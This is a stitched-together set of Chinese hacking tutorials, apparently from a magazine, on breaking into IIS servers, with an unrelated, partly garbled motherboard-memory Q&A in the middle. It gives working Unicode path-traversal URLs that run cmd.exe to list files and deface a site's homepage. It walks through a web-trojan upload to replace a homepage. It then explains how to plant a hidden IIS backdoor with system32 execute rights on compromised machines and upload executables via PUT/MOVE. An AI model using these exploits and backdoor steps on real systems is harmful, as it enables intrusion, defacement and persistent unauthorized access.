IIS漏洞入侵

  IIS(Internet Information Server)服务为Web服务器提供了强大的Internet和Intranet服务功能。主要通过端口80来完成操作,因为作为Web服务器,80端口总要打开,具有很大的威胁性。长期以来攻击IIS服务是黑客惯用的手段,笔者记得有段时间两大黑客组织对攻就频繁地用到了IIS漏洞入侵。这种情况现在还依然存在,多是由于企业管理者或网管对安全问题关注不够造成的。
Unicode漏洞
  针对IIS的攻击方式可以说是五花八门,使用大量的数据请求,使IIS超负荷而停止工作,是初级黑客的必修课程。不过鉴于篇幅限制,针对IIS的攻击本文不做详细介绍,而是说说入侵IIS。IIS有十多种常见漏洞,但利用得最多的莫过于Unicode解析错误漏洞。微软IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对它进行解码。如果用户提供一些特殊的编码,将导致IIS错误地打开或者执行某些Web根目录以外的文件或程序。我们此文就着重来讲讲如何利用这个漏洞入侵IIS。
  对于IIS 4.0/5.0中文版,当IIS在收到的URL请求的文件名中,包含一个特殊的编码例如“%c1%hh”或者“%c0%hh”,它会首先将其解码变成“0xc10xhh”, 然后尝试打开这个文件。wWW.ITcOmPUter.coM.CNWindows系统认为“0xc10xhh”可能是Unicode编码,因此它会首先将其解码,如果 “0x00<= %hh < 0x40”的话,采用的解码的格式与下面的类似:
  %c1%hh->(0xc1-0xc0)*0x40+0xhh
  %c0%hh->(0xc0-0xc0)*0x40+0xhh
  因此,利用这种编码,我们可以构造很多字符,例如:
  %c1%1c->(0xc1-0xc0)*0x40+0x1c=0x5c='/'
  %c0%2f->(0xc0-0xc0)*0x40+0x2f=0x2f='\'
  攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。此漏洞从中文版IIS4.0+SP6开始,还影响中文版WIN2000+IIS5.0、中文版WIN2000+IIS5.0+SP1。
  在NT4中“/”编码为“%c1%9c”;在英文版的WIN2000中为“%c0%af”;在中文版的WIN2000里是“%c1%1c”。此外还有多种编码,不逐一阐述,大家可以查查资料。本文均以WIN2000为例,其他类型请自行替换。
判断是否存在漏洞
  用该漏洞的扫描器来进行扫描是一种常见的方法。但我们知道,扫描并不是一个真正的黑客攻击行为,它只是一种寻找入口的方式。IIS的Unicode漏洞扫描器有很多,如RangeScan或者是unicodeScan都可以进行扫描以收集服务器信息。还有些综合性的扫描软件除了能发现Unicode漏洞之外,同时还能收集服务器的其它漏洞——X-Scan(下载地址:http://bitscn.com/upload/X-Scan-v3.1-cn.rar)。
  当然也可以在IE浏览器中输入以下语句来进行判断:
  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
  学过DOS的应该可以看懂,其实就是利用当中的非法请求使我们连到system32下,如果Inetpub目录不和Winnt在同一盘符,或者目录级数有改动,就可能会引起请求失败。
  如果存在漏洞,那么在浏览区可看到如下类似信息:
  Directory of C:\inetpub\scripts
  2005-03-05 15:49 〈DIR〉 .
  2005-09-05 15:49 〈DIR〉 ..
  是不是有自己机器的感觉了,正点!要的就是这种感觉!
  cmd.exe相当于DOS里的command.com,因此,我们可以执行很多命令了!
  注意:在上面输入的判断语句中,“/c”后面的“+”,实际上是空格,请记牢!dir是DOS中的查看文件和目录命令,不懂DOS的朋友快去学习。
  看了上面的介绍,不用说大家也知道我们可以利用此漏洞对服务器展开攻击了!
修改网站首页
1.确定网站首页名称
  一般网站默认首页文件为index.htm、index.html、index.asp、default.htm、defautl.html或default.asp中的一个,我们可以通过输入不同的首页名称来测试并确定要修改的网站首页。在IE地址栏中输入以下三个网址:
  http://aa.feedom.net/index.html
  http://aa.feedom.net/default.asp
  http://aa.feedom.net/index.htm
  通过对上面三个网址的测试,我们发现只有第三个网址可以正常打开,说明这个网站的首页名称为index.htm。好了,那么我们就修改它吧!
2.修改原理
  最方便的方法是echo法:echo是一个系统命令,主要用于设置回应开关。
  echo test >c:\autoexec.bat就是把test加入autoexec.bat里并删除原有内容;
  echo timedate >>c:\autoexec.bat就是加入timedate但不删除原有内容。
  明白了吗?接下来我们就可以逍遥地修改了。
3.更改网站首页
  在IE中输入以下地址:
  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+ HaHaThisismyhack +>c:\inetpub\wwwroot\index.htm
  IE浏览器返回来的结果可能为以下两种情况之一:
  1)HTTP 500 - 内部服务器错误
  2)The parameter is incorrect
  通过返回信息提示和对CMD的分析,可能是命令语句中参数错误,加入"符号再试试:
  1) http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ HaHaThisismyhack +>c:\inetpub\wwwroot\index.htm
  表示把HaHaThisismyhack加入到index.htm文件并删除原有内容。
  2)http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ by2005-3-9+>>c:\inetpub\wwwroot\index.htm
  表示把by2005-3-9加入到index.htm文件中,但不删除原有内容。
  如果正常,上面两条语句的回应应该都为CGI错误,这表示语句执行成功了,系统只是程序性地报个错误,不用理会它。
  现在再来打开网站aa.feedom.net看看吧,怎么样了,是不是被你改掉了?在实际操作中,由于目录权限等网管因素的存在,可能这个方法也会失效,这时,我们就可以用copy cmd.exe 为另一个.exe文件的方式解决,不过要记住路径,别出错了,例如:
  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\a.exe
  c:\inetpub\wwwroot\index.htm">http://aa.feedom.net/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm
  本文讲到的技术比较简单,很适合初学者研究和学习。也许你通过本文的实例方式,已经能修改我们提供的服务器首页了,但是在实际操作中,服务器环境必然有变化,而且障碍也许是你未曾研究或接触过的。所以只有牢牢地掌握了基础知识才有进阶的资本。大家可以根据文中提到的知识点查阅资料辅助学习。
第一关难点攻略
1.上传文件始终报错
  有的朋友通过上一期文章介绍的步骤,利用我们提供的木马程序,在访问http://cp.feedom.net/uploadtest/muma.asp页面,并上传首页文件时被堵住了。其实我们在第一关的文章里提到过这些细节问题,可能有些读者忽略了。
  ①进入木马配置页面后,点击“Stream”按钮;
  ②根据文章要求,我们必须在“PATH:”栏里,将访问地址改为“D:\www\cp.feedom.net\ct”;
  ③点击“浏览”按钮,选择一个本地硬盘中的index***.htm文件(***为自定义名称);
  提示:根据文章中的说明,该木马程序并不支持文件名重名,由于参与的读者众多,index.htm文件早已有人上传,所以不改文件名将会提示上传错误的。
  ④现在最关键的地方来了,在“保存为:”栏里,必须填写完整的文件路径。例如“D:\www\cp.feedom.net\ct\index***.htm”,如果文件名不写是会报错的,这是绝大多数参与者易犯的错误;
  ⑤现在你只要点“上传”按钮即可。
2.不能替换首页
  有的朋友反映,index***.htm已经成功地上传了,但是第一关的任务是要将http://ct.feedom.net改为首页,虽然现在可以通过“http://ct.feedom.net/上传的文件名”来访问已上传的网页,但并没有将它改为http://ct.feedom.net的首页——index.htm呀,显然只上传文件是不够的,还差一步。
  细心的读者肯定注意到了,“Stream”页面中,在每一个已上传的文件后面,都有“Down、Edit、SaveAs”几个按钮,你只有点击“SaveAs”,然后将你上传的htm文件更名为Index.htm就可以了。虽然我们提到的木马程序不能覆盖文件,但可以通过这个方式达到替换首页的目的。  
牐犎绾挝精英P6ISA-II主板升级内存 犖剩何以2001年买了一块精英P6ISA-Ⅱ主板,当时配了两条128MB的KingMax PC150 SDRAM(都是双面的),最近由于装了Windows 2000 Advance Server,运行起来感觉较慢,于是想添加内存,该主板最多支持512MB内存,不知道我的主板还能不能再插一条256MB的内存?

牐牬穑篿815E主板最多支持三个DIMM插槽,支持两条双面内存或三条单面内存。所以只有将两条双面128MB内存更换成一条256MB SDRAM,才能另外添加一条256MB的SDRAM内存,否则主板是不能识别新添加的256MB内存的。

 
霸占“肉鸡”之隐蔽的IIS后门

  好不容易攻下一台Windows2000/2003 IIS服务器,你一定会想,怎样才能长期占有这个“肉鸡”呢?聪明的你肯定会想到留后门这个法子。
  对Windows系列下的Web服务器来说,笔者觉得最好的后门莫过于通过80端口安置后门,因为既然要对外提供Web服务,管理员总不会把80端口给屏蔽了吧。下面让我们来看看怎么设置IIS后门。
一 GUI方式设置
  如果你能通过GUI(图形界面)方式管理肉鸡的话(通过 3389端口的Windows 终端服务、4899端口的Radmin服务、Pcanywhere、VNC、DameWare等GUI方式的远程管理软件),那就最简单不过了。可以通过如下方式建立一个隐蔽的后门:
  1.先在Web根目录下建立一个子目录shell,然后打开“Internet信息服务”管理器,在shell目录下新建一个指向C:\WinNT\system32的虚拟目录door,然后删除Web根目录下的shell目录,这样在IIS管理器中就看不到shell目录了,也看不到door这个虚拟目录了(这是IIS显示目录的一个Bug,实际上这个虚拟目录仍然存在)。
  通过浏览器访问不到shell这个路径,但是依然可以访问到shell/door这个路径。不过这并没有完,我们需要在IIS管理器中对虚拟目录door的权限做进一步设置。
  2.在door属性中,我们设置本地路径为“C:\WinNT\System32”(见图),在“脚本资源访问”、“读取”、“写入”、“目录浏览”复选框前打钩,把“日志访问”和“索引此资源”复选框前的钩去掉,在“执行许可”中选择“脚本和可执行程序”,“应用程序保护”选择“低 (IIS进程)”。


 
  好了,现在我们就有了一个功能强大而且不会留下任何痕迹的Web Shell了(还记得Unicode漏洞吗?在地址栏中输入http:// 219.***.18.63 /shell/door/cmd.exe?/c+dir c:\ 看看)。
二 命令行方式设置
  有人可能会问了,如果只有命令行下的shell,能不能设置IIS后门呢?答案是肯定的。这里需要用一些系统自带的工具。IIS服务器安装时会自动在C:\Inetpub\AdminScript下安装一些用来配置IIS的脚本,如adsutil.vbs、chaccess.vbs、mkwebdir.vbs、disptree.vbs等,我们可以通过这些脚本来修改Web目录的权限。
  在命令行shell下,输入“cscript.exe adsutil.vbs enum w3svc/1/root”,看看Web服务器的配置。从中选一个虚拟目录test,给它赋予可写权限:“chaccess -a w3svc/1/ROOT/test +write”,按照如下的命令再给它赋予脚本和可执行程序的执行权限:“chaccess -a w3svc/1/ROOT/test +script +execute”。
三 利用可写可执行权限目录
  上面介绍了两种方法获得IIS服务器上的一个可写的目录,但怎样怎么利用呢?
  利用IIS后门的方法有很多种,这里只讨论如何利用一个有可写可执行权限的目录的问题。一般的思路是远程提交数据,高手都喜欢用瑞士军刀——Netcat,不过这个是命令行下的工具,新手用起来可能不习惯。下面介绍一个桂林老兵发布的作品(下载地址:http://www.gxgl.com/?actio
  n=soft&module=show&id=12)。
  数据包格式有OPTIONS、GET、HEAD、DELETE、PUT、POST等多种。我们可以用PUT方法从本地选一个文件上传到服务器上,然后用MOVE方法给它改名为.exe可执行程序或.asp可执行脚本。更详细的使用方法可以参看程序附带的Readme文档,这里就不再赘述了。